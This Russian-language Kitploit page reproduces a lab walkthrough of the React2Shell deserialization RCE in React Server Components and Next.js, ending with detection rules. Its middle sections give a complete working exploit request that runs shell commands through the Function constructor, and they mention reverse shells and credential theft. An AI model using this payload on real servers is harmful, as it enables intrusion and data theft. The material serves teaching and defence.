Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
React2Shell-CVE-2025-55182 — React2Shell CVE-2025-55182: неаутентифицированная небезопасная десериализация в React Server Components, приводящая к надёжному удалённому выполнению кода через протокол Flight. | Kitploit
Инструменты/GitHubGitHub/adityabhatt3010/react2shell-cve-2025-55182
Анализ уязвимостейАнализ КодаЭксплуатацияЭксплуатация веб-приложенийВеб-безопасностьCTFТестирование на ПроникновениеОбучение и ОбразованиеРазработка Полезной Нагрузки

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
GitHubadityabhatt3010/react2shell-cve-2025-55182

React2Shell-CVE-2025-55182

React2Shell CVE-2025-55182: неаутентифицированная небезопасная десериализация в React Server Components, приводящая к надёжному удалённому выполнению кода через протокол Flight.

Репозиторий
711 месяц назадЕщё не проверено

🎯 React2Shell (CVE-2025-55182): От серверных компонентов React до полного RCE

Сложность: Средняя → Продвинутая
Категория: Веб-эксплуатация | Десериализация | RCE

Обложка


🧩 Задание 1: Введение — почему React2Shell — это серьёзно

CVE-2025-55182, получившая прозвище React2Shell, — одна из тех уязвимостей, которые мгновенно заставляют защитников нервничать 😬. Обнаруженная в декабре 2025 года, она имеет оценку CVSS 10.0, что уже говорит о том, что это не какая-то пограничная ошибка.

По своей сути эта уязвимость затрагивает серверные компоненты React (RSC) и фреймворки, построенные на их основе, — в первую очередь Next.js. Что самое страшное?

👉 Неавторизованное удалённое выполнение кода (RCE) 👉 Один сформированный HTTP-запрос 👉 Конфигурации по умолчанию уязвимы

Никакого входа в систему. Никаких специальных разрешений. Просто один хорошо составленный запрос.

🔥 Затронутые пакеты React

  • react-server-dom-webpack
  • react-server-dom-parcel
  • react-server-dom-turbopack

✅ Исправленные версии

  • 19.0.1
  • 19.1.2
  • 19.2.1

Эта лаборатория проведёт нас через почему эта ошибка существует, как её эксплуатировать и что могут сделать защитники.

Флаг: Ответ не требуется.


🧠 Задание 2: Серверные компоненты React и протокол Flight

Прежде чем перейти к эксплуатации, нужно разобраться в архитектуре.

Что такое серверные компоненты React?

Серверные компоненты React (появившиеся в React 19) позволяют частям React-приложения выполняться на сервере, а не в браузере. Это означает:

  • Тяжёлые вычисления остаются на стороне сервера ⚙️
  • Клиент получает только готовый результат 📦
  • Лучшая производительность, меньшие бандлы

Встречайте: React Flight ✈️

Общение между клиентом и сервером происходит через протокол React Flight. Этот протокол сериализует данные на клиенте и десериализует их на сервере.

Он использует специальные маркеры:

  • $@ → Ссылка на чанк

  • $B → Ссылка на Blob

  • Пути к свойствам через двоеточие Пример:

    root@kitploit:~
    $1:constructor:constructor
    

⚠️ И именно в этой логике сериализации и кроется проблема.

Вопрос: Какой символ обозначает ссылку на Blob? ✅ Ответ: $B


💣 Задание 3: Основная уязвимость — небезопасная десериализация

В основе CVE-2025-55182 лежит классическая ошибка небезопасной десериализации.

Посмотрим на уязвимый паттерн (не обрезать 👇):

root@kitploit:~
function requireModule(metadata) {  
 var moduleExports = __webpack_require__(metadata[0]);  
 // ... дополнительная логика ...  
 return moduleExports[metadata[2]];  // УЯЗВИМАЯ СТРОКА  
}  

Почему это опасно?

В JavaScript скобочная нотация:

root@kitploit:~
obj[someKey]

не ограничивает доступ только к экспортированным свойствам. Она проходит по всей цепочке прототипов.

Теперь ключевое наблюдение 👀:

  • У каждой функции JavaScript есть .constructor
  • constructor указывает на конструктор Function
  • Function("code") = произвольное выполнение JS

Превращение ссылок Flight в оружие

Поскольку протокол Flight допускает пути через двоеточие, атакующий может отправить:

root@kitploit:~
$1:constructor:constructor

Что разрешается в:

  1. Получить чанк модуля
  2. Обратиться к .constructor
  3. Снова обратиться к .constructor → Function

На этом моменте игра окончена 🎮.

Флаг: Ответ не требуется.


🧨 Задание 4: Цепочка эксплуатации — от ошибки до RCE

Теперь разберём PoC от maple3142 шаг за шагом.

🧩 Этап 1: Поддельный объект Chunk

Атакующий отправляет multipart-запрос, содержащий поддельный объект Chunk:

root@kitploit:~
{  
 "then": "$1:__proto__:then",  
 "status": "resolved_model",  
 "reason": -1,  
 "value": "{\\"then\\":\\"$B1337\\"}",  
 "_response": {  
   "_prefix": "process.mainModule.require('child_process').execSync('xcalc');",  
   "_chunks": "$Q2",  
   "_formData": {  
     "get": "$1:constructor:constructor"  
   }  
 }  
}

Этот объект имитирует внутреннюю структуру Chunk в React. Указывая then на Chunk.prototype.then, React обманывается и ожидает выполнения управляемой атакующим логики.


🧩 Этап 2: Злоупотребление обработчиком Blob

Маркер $B1337 запускает обработчик десериализации Blob, который внутри выполняет:

root@kitploit:~
response._formData.get(response._prefix + id)

Но мы отравили:

  • _formData.get → Function
  • _prefix → вредоносный JS

В результате выполняется:

root@kitploit:~
Function("process.mainModule.require('child_process').execSync('xcalc');1337")

💥 Произвольное выполнение JavaScript достигнуто.


🧩 Этап 3: Выполнение команд ОС

PoC выполняет:

root@kitploit:~
process.mainModule
  .require('child_process')
  .execSync('xcalc')

Это можно легко заменить на:

  • Реверс-шеллы
  • Кражу секретов
  • Чтение файлов
  • Кражу облачных учётных данных ☠️

Флаг: Ответ не требуется.


📦 Задание 5: Полный разбор HTTP PoC

Вот полный эксплойт-запрос (дословно, не обрезан):

root@kitploit:~
POST / HTTP/1.1  
Host: localhost  
Next-Action: x  
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad

------WebKitFormBoundaryx8jO2oVc6SWP3Sad  
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\\"then\\":\\"$B1337\\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('xcalc');","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}  
------WebKitFormBoundaryx8jO2oVc6SWP3Sad  
Content-Disposition: form-data; name="1"

"$@0"  
------WebKitFormBoundaryx8jO2oVc6SWP3Sad  
Content-Disposition: form-data; name="2"

[]  
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--  

(…тело multipart продолжается…)

Ключевые моменты 👇

  • Заголовок Next-Action запускает серверные действия
  • multipart/form-data обязателен
  • $@0 создаёт само-ссылку
  • $B1337 запускает логику Blob
  • constructor:constructor ведёт к Function

Это не случайность — это точно выстроенная цепочка.


🌍 Затронутая экосистема

  • React: 19.0.0, 19.1.0, 19.1.1, 19.2.0

  • Next.js:

    • ≥14.3.0-canary.77
    • Все 15.x
    • Ранние 16.x
  • Другие: React Router (RSC), Waku, Redwood SDK

📊 Исследование Wiz: 39% облачных сред подвержены 🌐 Shodan: 571k+ серверов React, 444k+ Next.js

Это… довольно много 😶


🧪 Задание 6: Эксплуатация в лаборатории

Сначала в Repeater создайте новый HTTP-запрос и выберите цель.

1

Используя Burp Suite Repeater, отправляем полезную нагрузку:

root@kitploit:~
execSync('id')

2

А затем:

root@kitploit:~
execSync('whoami')

3

✅ Результаты

  • Пользователь: ubuntu

  • Флаг:

    root@kitploit:~
    {React-19.2.0}
    

Чистая, надёжная, повторяемая эксплуатация 💀


🛡️ Задание 7: Обнаружение и защита

Хорошие новости для защитников 👮‍♂️ — эксплуатация оставляет следы.

🔎 Индикаторы атаки

  • Заголовок Next-Action
  • multipart/form-data
  • "status":"resolved_model"
  • "then":"$1:__proto__:then"

Они никогда не должны появляться в обычном пользовательском трафике.


🚨 Правило Snort (v3)

root@kitploit:~
alert http any any -> $LAN_NETWORK any (
    msg:"Potential Next.js React2Shell / CVE-2025-66478 attempt";
    flow:to_server,established;
    content:"Next-Action"; http_header; nocase;
    content:"multipart/form-data"; http_header; nocase;
    pcre:"/Content-Disposition:\s*form-data;\s*name=\"0\"/s";
    pcre:"/\"status\"\s*:\s*\"resolved_model\"/s";
    pcre:"/\"then\"\s*:\s*\"\$1:__proto__:then\"/s";
    classtype:web-application-attack;
    sid:6655001;
    rev:1;
)

🧾 OSQuery — Поиск уязвимых пакетов

root@kitploit:~
{
  "queries": {
    "detect_rev2shell_react_server_components": {
      "query": "SELECT name, version, path FROM npm_packages WHERE ...",
      "interval": 3600
    }
  }
}

Отлично подходит для:

  • CI/CD конвейеров
  • Аудита конечных точек
  • Предпроизводственных проверок

4


🧠 Заключительные мысли

React2Shell — это классический пример того:

  • Почему небезопасная десериализация смертельно опасна
  • Как цепочки прототипов могут предать вас
  • Почему «конфигурации по умолчанию» опасны

После установки исправленных версий и выполнения рекомендаций npm audit эксплойт полностью умирает ✅.

⚠️ Никогда не тестируйте это за пределами авторизованных лабораторий.
🔥 Всегда быстро устанавливайте патчи.
🧠 Всегда понимайте почему существует ошибка — а не только как её эксплуатировать.


⭐ Подпишитесь и свяжитесь со мной

Если вам понравился этот разбор или вы хотите оставаться на связи с моей работой в области кибербезопасности, CTF и VAPT:

🔗 GitHub: https://github.com/AdityaBhatt3010
💼 LinkedIn: https://www.linkedin.com/in/adityabhatt3010/
✍️ Medium: https://medium.com/@adityabhatt3010

Удачного хакинга — ответственно 🗿🚀


Скачать инструмент